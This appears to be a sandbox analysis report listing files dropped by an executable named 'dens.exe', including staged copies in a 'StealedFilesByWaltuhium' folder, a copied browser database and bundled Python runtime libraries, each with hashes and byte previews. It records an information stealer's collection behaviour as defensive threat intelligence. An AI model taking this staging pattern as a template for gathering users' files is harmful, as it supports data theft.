MBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\XZXHAVGRAG\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\XZXHAVGRAG\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\Web.db

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: client.exe, Detection: malicious, Browse Filename: client.exe, Detection: malicious, Browse Filename: Runtime.exe, Detection: malicious, Browse Filename: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, Detection: malicious, Browse Filename: Built.exe, Detection: malicious, Browse Filename: windows update.exe, Detection: malicious, Browse Filename: w32e.exe, Detection: malicious, Browse Filename: 3ORCHAMYoz.exe, Detection: malicious, Browse Filename: yuki.exe, Detection: malicious, Browse Filename: CIEfSpAIUS.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\VCRUNTIME140_1.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:	768:wPIyGVrxmKqOnA4j3z6Su77A+i0QLxi9z9Rtii9zn+:fBr87uW1nA8QLx+zrti+zn+
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_asyncio.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	71448
Entropy (8bit):	6.280004093581335
Encrypted:	false
SSDEEP:	1536:5VrJQiOU7v3gWTgI9PBgT5NIMOn27SyBxEU:55JQiOU7/g8L9PBSNIMOn2CU
MD5:	90A38A8271379A371A2A4C580E9CD97D
SHA1:	3FDE48214FD606114D7DF72921CF66EF84BC04C5
SHA-256:	3B46FA8F966288EAD65465468C8E300B9179F5D7B39AA25D7231FF3702CA7887
SHA-512:	3BDE0B274F959D201F7820E3C01896C24E4909348C0BC748ADE68610A13A4D1E980C50DAB33466469CDD19EB90915B45593FAAB6C3609AE3F616951089DE1FDC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.Z.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...Qb.f.........." ...(.f................................................... ............`.............................................P......d......................../..............T...........................P...@...............(............................text....e.......f.................. ..`.rdata...O.......P...j..............@..@.data...p...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_brotli.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821248
Entropy (8bit):	6.053537214093426
Encrypted:	false
SSDEEP:	12288:wA0uu7wLKRemz/MfQuZ3ekAHhly782XTw05nmZfRJ:wfTdkAFtAmZfRJ
MD5:	9AD5BB6F92EE2CFD29DDE8DD4DA99EB7
SHA1:	30A8309938C501B336FD3947DE46C03F1BB19DC8
SHA-256:	788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8
SHA-512:	A166ABCB834D6C9D6B25807ADDDD25775D81E2951E1BC3E9849D8AE868DEDF2E1EE1B6B4B288DDFBD88A63A6FA624E2D6090AA71DED9B90C2D8CBF2D9524FDBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]ws..............n......j......Rn......j......j......j.......k..........$....k..9....k.......k.......k......Rich....................PE..d...7..d.........." ...#.B...H......\F....................................................`......................................... s..`....s.......................................I..............................PH..@............`...............................text....@.......B.................. ..`.rdata.......`.......F..............@..@.data................b..............@....pdata...............j..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591841805043941
Encrypted:	false
SSDEEP:	1536:Iyhz79151BVo1vXfzIFnaR4bO1As0n8qsjk+VIMCVl7SyVx7:/hzx15evXkuxAP8qMk+VIMCVlJ
MD5:	30F396F8411274F15AC85B14B7B3CD3D
SHA1:	D3921F39E193D89AA93C2677CBFB47BC1EDE949C
SHA-256:	CB15D6CC7268D3A0BD17D9D9CEC330A7C1768B1C911553045C73BC6920DE987F
SHA-512:	7D997EF18E2CBC5BCA20A4730129F69A6D19ABDDA0261B06AD28AD8A2BDDCDECB12E126DF9969539216F4F51467C0FE954E4776D842E7B373FE93A8246A5CA3F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d....b.f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_cffi_backend.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	179712
Entropy (8bit):	6.180800197956408
Encrypted:	false
SSDEEP:	3072:IULjhBCx8qImKrUltSfGzdMcbb9CF8OS7jkSTLkKWlgeml:IgCeqImzSfIMcNCvOkSTLLWWem
MD5:	FCB71CE882F99EC085D5875E1228BDC1
SHA1:	763D9AFA909C15FEA8E016D321F32856EC722094
SHA-256:	86F136553BA301C70E7BADA8416B77EB4A07F76CCB02F7D73C2999A38FA5FA5B
SHA-512:	4A0E98AB450453FD930EDC04F0F30976ABB9214B693DB4B6742D784247FB062C57FAFAFB51EB04B7B4230039AB3B07D2FFD3454D6E261811F34749F2E35F04D6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......a..#%p.p%p.p%p.p,..p)p.p5.q'p.p5.zp!p.p5.q!p.p5.q-p.p5.q)p.pn..q!p.p6.q&p.p%p.p.p.pm..q!p.p,..p$p.pm..q$p.pm.xp$p.pm..q$p.pRich%p.p........................PE..d...W..f.........." ...).....B......`........................................0............`..........................................h..l....i..................T............ .......O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...p..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.138659353006937
Encrypted:	false
SSDEEP:	3072:IXw32spTVYgFoj6N2xE9sb7V/f/E4ZBq5syCtYPU95IMLPhr:IgGEOgFoj68ksRf/ERsX
MD5:	5377AB365C86BBCDD998580A79BE28B4
SHA1:	B0A6342DF76C4DA5B1E28A036025E274BE322B35
SHA-256:	6C5F31BEF3FDBFF31BEAC0B1A477BE880DDA61346D859CF34CA93B9291594D93
SHA-512:	56F28D431093B9F08606D09B84A392DE7BA390E66B7DEF469B84A21BFC648B2DE3839B2EEE4FB846BBF8BB6BA505F9D720CCB6BB1A723E78E8E8B59AB940AC26
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......f.d."..."..."...+...$....... .......&.......*...........7... ...i...#...i...$.......!..."......7...$...7...#...7...#...7...#...Rich"...........................PE..d...eb.f.........." ...(............`_..............................................-.....`.........................................p`.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..hl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565831509727426
Encrypted:	false
SSDEEP:	6144:/CxJS14bteS9B+ApcG0Qos0KR29py9qWM53pLW1AZHVHMhhhKoDStGwL0zsWD:/aeS9B+HQosbY9FfHVHXfEsWD
MD5:	7AE94F5A66986CBC1A2B3C65A8D617F3
SHA1:	28ABEFB1DF38514B9FFE562F82F8C77129CA3F7D
SHA-256:	DA8BB3D54BBBA20D8FA6C2FD0A4389AEC80AB6BD490B0ABEF5BD65097CBC0DA4
SHA-512:	FBB599270066C43B5D3A4E965FB2203B085686479AF157CD0BB0D29ED73248B6F6371C5158799F6D58B1F1199B82C01ABE418E609EA98C71C37BB40F3226D8C5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d...[b.f.........." ...(.....<.......................................................4....`..........................................c..P....c...................&......./......T.......T...............................@............................................text...v........................... ..`.rdata..............................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227186392528159
Encrypted:	false
SSDEEP:	1536:9PgLpgE4Z27jHZWZnEmoANIMOIi7SyAx2:9EtHZeEmoANIMOIit
MD5:	A25BC2B21B555293554D7F611EAA75EA
SHA1:	A0DFD4FCFAE5B94D4471357F60569B0C18B30C17
SHA-256:	43ACECDC00DD5F9A19B48FF251106C63C975C732B9A2A7B91714642F76BE074D
SHA-512:	B39767C2757C65500FC4F4289CB3825333D43CB659E3B95AF4347BD2A277A7F25D18359CEDBDDE9A020C7AB57B736548C739909867CE9DE1DBD3F638F4737DC5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8QtZY?'ZY?'ZY?'S!.'^Y?'..>&XY?'..<&YY?'..;&RY?'..:&VY?'.!>&XY?'O.>&_Y?'ZY>'.Y?'O.2&[Y?'O.?&[Y?'O..'[Y?'O.=&[Y?'RichZY?'........PE..d....b.f.........." ...(.V.......... @....................................................`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85410280956396
Encrypted:	false
SSDEEP:	3072:ssvkxujgo7e2uONOG+hi+CTznfF9mNoDXnmbuVIMZ10L:snu0o7JUCNYOD2Kg
MD5:	9E94FAC072A14CA9ED3F20292169E5B2
SHA1:	1EEAC19715EA32A65641D82A380B9FA624E3CF0D
SHA-256:	A46189C5BD0302029847FED934F481835CB8D06470EA3D6B97ADA7D325218A9F
SHA-512:	B7B3D0F737DD3B88794F75A8A6614C6FB6B1A64398C6330A52A2680CAF7E558038470F6F3FC024CE691F6F51A852C05F7F431AC2687F4525683FF09132A0DECB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d....b.f.........." ...(.f..........`8..............................................C.....`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_multiprocessing.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35608
Entropy (8bit):	6.430939025440004
Encrypted:	false
SSDEEP:	768:I1Rp7eiajKCGnAxQ0zdu9IMWtg5YiSyvKDAMxkEp5u:gRteiaIAxQ0zI9IMWty7Syyjxto
MD5:	41EE16713672E1BFC4543E6AE7588D72
SHA1:	5FF680727935169E7BCB3991404C68FE6B2E4209
SHA-256:	2FEB0BF9658634FE8405F17C4573FEB1C300E9345D7965738BEDEB871A939E6B
SHA-512:	CB407996A42BDF8BC47CE3F4C4485E27A4C862BF543410060E9F65D63BFBA4C5A854A1F0601E9D8933C549E5459CB74CA27F3126C8CDBDE0BDD2E803390AB942
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T.A)../z../z../z..z../z.$.{../z.$,{../z.$+{../z.$*{../z.#.{../z...zr./z[..{../z.#"{../z.#/{../z.#.z../z.#-{../zRich../z........PE..d...\b.f.........." ...(. ...>......@...............................................#Q....`.........................................@E..`....E..x............p.......\.../...........4..T............................3..@............0...............................text............ .................. ..`.rdata... ...0..."...$..............@..@.data...`....`.......F..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_overlapped.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56088
Entropy (8bit):	6.330844955790863
Encrypted:	false
SSDEEP:	1536:5inr44gaZPXPCJ/+yZdDDrRIMXtH7SyNx7:5ZJ/+yZdDDrRIMXtHt
MD5:	737F46E8DAC553427A823C5F0556961C
SHA1:	30796737CAEC891A5707B71CF0AD1072469DD9DE
SHA-256:	2187281A097025C03991CD8EB2C9CA416278B898BD640A8732421B91ADA607E8
SHA-512:	F0F4B9045D5328335DC5D779F7EF5CE322EAA8126EC14A84BE73EDD47EFB165F59903BFF95EB0661EBA291B4BB71474DD0B0686EDC132F2FBA305C47BB3D019F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.{X..(X..(X..(QxT(\..(...)Z..(...)[..(...)P..(...)T..(M..)Z..(X..(/..(.x.)]..(.x.)Y..(M..)Y..(M..)Y..(M.8(Y..(M..)Y..(RichX..(........PE..d...]b.f.........." ...(.N...`............................................................`.............................................X.............................../......(....f..T............................e..@............`...............................text...7L.......N.................. ..`.rdata...8...`...:...R..............@..@.data...0...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32536
Entropy (8bit):	6.553382348933807
Encrypted:	false
SSDEEP:	768:WlzRmezj6rGqMoW45IMQUHR5YiSyvMcAMxkEm2j:yRm0mGpoW45IMQUHf7SyVxb
MD5:	E1C6FF3C48D1CA755FB8A2BA700243B2
SHA1:	2F2D4C0F429B8A7144D65B179BEAB2D760396BFB
SHA-256:	0A6ACFD24DFBAA777460C6D003F71AF473D5415607807973A382512F77D075FA
SHA-512:	55BFD1A848F2A70A7A55626FB84086689F867A79F09726C825522D8530F4E83708EB7CAA7F7869155D3AE48F3B6AA583B556F3971A2F3412626AE76680E83CA1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.\.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...`b.f.........." ...(.....8............................................................`..........................................C..L...<D..d....p.......`.......P.../...........4..T...........................@3..@............0..8............................text............................... ..`.rdata.......0......................@..@.data........P.......<..............@....pdata.......`.......@..............@..@.rsrc........p.......D..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.3186936632343205
Encrypted:	false
SSDEEP:	1536:mOYhekrkJqlerLSyypHf9/s+S+pzMii/n1IsJqKN5IMLwoR7SygCxkWN:vwkJqHyypHf9/sT+pzMiE1IwdN5IMLw0
MD5:	69801D1A0809C52DB984602CA2653541
SHA1:	0F6E77086F049A7C12880829DE051DCBE3D66764
SHA-256:	67ACA001D36F2FCE6D88DBF46863F60C0B291395B6777C22B642198F98184BA3
SHA-512:	5FCE77DD567C046FEB5A13BAF55FDD8112798818D852DFECC752DAC87680CE0B89EDFBFBDAB32404CF471B70453A33F33488D3104CD82F4E0B94290E83EAE7BB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
